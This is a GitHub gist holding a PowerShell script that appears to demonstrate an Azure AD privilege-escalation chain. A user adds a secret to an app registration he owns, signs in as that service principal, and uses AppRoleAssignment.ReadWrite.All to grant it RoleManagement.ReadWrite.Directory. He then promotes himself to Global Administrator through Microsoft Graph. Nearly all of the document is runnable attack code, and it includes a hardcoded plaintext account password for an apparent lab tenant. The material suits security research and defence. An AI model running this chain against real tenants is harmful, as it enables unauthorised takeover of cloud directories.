Skip to content

Instantly share code, notes, and snippets.

@andyrobbins
Created December 6, 2021 05:58
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save andyrobbins/7e52f6fe255a2dcadb69745dc8640441 to your computer and use it in GitHub Desktop.
Save andyrobbins/7e52f6fe255a2dcadb69745dc8640441 to your computer and use it in GitHub Desktop.
## Granting Global Admin rights by chaining AppRoleAssignment.ReadWrite.All into RoleManagement.ReadWrite.Directory
# Helper function to let us parse Azure JWTs:
function Parse-JWTtoken {
<#
.DESCRIPTION
Decodes a JWT token. This was taken from link below. Thanks to Vasil Michev.
.LINK
https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell
#>
[cmdletbinding()]
param(
[Parameter(Mandatory = $True)]
[string]$Token
)
#Validate as per https://tools.ietf.org/html/rfc7519
#Access and ID tokens are fine, Refresh tokens will not work
if (-not $Token.Contains(".") -or -not $Token.StartsWith("eyJ")) {
Write-Error "Invalid token" -ErrorAction Stop
}
#Header
$tokenheader = $Token.Split(".")[0].Replace('-', '+').Replace('_', '/')
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
while ($tokenheader.Length % 4) {
Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
$tokenheader += "="
}
Write-Verbose "Base64 encoded (padded) header: $tokenheader"
#Convert from Base64 encoded string to PSObject all at once
Write-Verbose "Decoded header:"
$header = ([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader)) | convertfrom-json)
#Payload
$tokenPayload = $Token.Split(".")[1].Replace('-', '+').Replace('_', '/')
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0
while ($tokenPayload.Length % 4) {
Write-Verbose "Invalid length for a Base-64 char array or string, adding ="
$tokenPayload += "="
}
Write-Verbose "Base64 encoded (padded) payoad: $tokenPayload"
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = ([System.Text.Encoding]::ASCII.GetString($tokenByteArray) | ConvertFrom-Json)
#Converts $header and $tokenArray from PSCustomObject to Hashtable so they can be added together.
#I would like to use -AsHashTable in convertfrom-json. This works in pwsh 6 but for some reason Appveyor isnt running tests in pwsh 6.
$headerAsHash = @{}
$tokenArrayAsHash = @{}
$header.psobject.properties | ForEach-Object { $headerAsHash[$_.Name] = $_.Value }
$tokenArray.psobject.properties | ForEach-Object { $tokenArrayAsHash[$_.Name] = $_.Value }
$output = $headerAsHash + $tokenArrayAsHash
Write-Output $output
}
# Get rid of any tokens or Azure connections in this PowerShell instance
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null
# Connect to Azure as Matt Nelson:
$AzureUserID = "mnelson@specterdev.onmicrosoft.com"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID
# Connect to AzureAD as Matt Nelson:
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, `
$context.Environment, `
$context.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id
# Let's verify the object ID for the Global Admin role in our tenant:
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq "Global Administrator"}
# Matt Nelson is not a Global Admin :(
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName
# Matt Nelson can't promote himself to Global Admin :(
Add-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' -RefObjectId '825aa930-14f0-40af-bdef-627524bc529e'
# Let's get the object ID of the "MyCoolApp" app registration object:
Get-AzureADApplication -All $True | ?{$_.DisplayName -eq "MyCoolApp"}
# Matt Nelson owns the MyCoolApp app registration, so he can add a new secret to that app:
$AppPassword = New-AzureADApplicationPasswordCredential -ObjectID '7738ebf7-730d-4daa-b095-b3861569662e'
$AppPassword
#Disconnect from AzureAD and AzureRM and clear our tokens
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null
# Using the new password we just created for MyCoolApp, get an Azure token:
$AzureApplicationID = "4a2d703b-ec39-4fe4-98a9-e298d5a0f540"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal
# Use this token get an MS graph token for our MyCoolApp service principal, to include granted app roles
$APSUser = Get-AzContext *>&1
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$APSUser.Account, `
$APSUser.Environment, `
$APSUser.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
# Grant MyCoolApp the "RoleManagement.ReadWrite.Directory" MS Graph app role:
$body = @{
principalId = "d146464f-523a-4d24-bfce-17d21568647e"
resourceId = "9858020a-4c00-4399-9ae4-e7897a8333fa"
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
startTime = "2020-01-01T12:00:00Z"
expiryTime = "2022-01-01T10:00:00Z"
}
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals/d146464f-523a-4d24-bfce-17d21568647e/appRoleAssignedTo" `
-Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType 'application/json'
## Wait for this to take effect...
# Get a new graph token for the MyCoolApp service principal and check if it has "RoleManagement.ReadWrite.Directory" added to its roles yet
$APSUser = Get-AzContext *>&1
$resource = "https://graph.microsoft.com"
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$APSUser.Account, `
$APSUser.Environment, `
$APSUser.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
(Parse-JWTtoken $token).roles
# Now we use our new "RoleManagement.ReadWrite.Directory" app role to promote Matt Nelson to Global Admin:
$body = @{
"@odata.id"= "https://graph.microsoft.com/v1.0/directoryObjects/825aa930-14f0-40af-bdef-627524bc529e"
}
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } `
-Uri 'https://graph.microsoft.com/v1.0/directoryRoles/23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41/members/$ref' `
-Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType 'application/json'
# Get rid of any tokens or Azure connections in this PowerShell instance
Disconnect-AzureAD
Disconnect-AzAccount
$token = $null
$aadToken = $null
# Reconnect to Azure as Matt Nelson:
$AzureUserID = "mnelson@specterdev.onmicrosoft.com"
$AzureTenantID = "6c12b0b0-b2cc-4a73-8252-0b94bfca2145"
$AzurePassword = ConvertTo-SecureString 'k33p3r0fTh3T3nRul3z!' -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureUserID, $AzurePassword)
Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID
# Connect to AzureAD as Matt Nelson:
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$aadToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, `
$context.Environment, `
$context.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $aadToken -AccountId $context.Account.Id -TenantId $context.tenant.id
# Matt Nelson is now a Global Admin
Get-AzureADDirectoryRoleMember -ObjectID '23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41' | select DisplayName
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment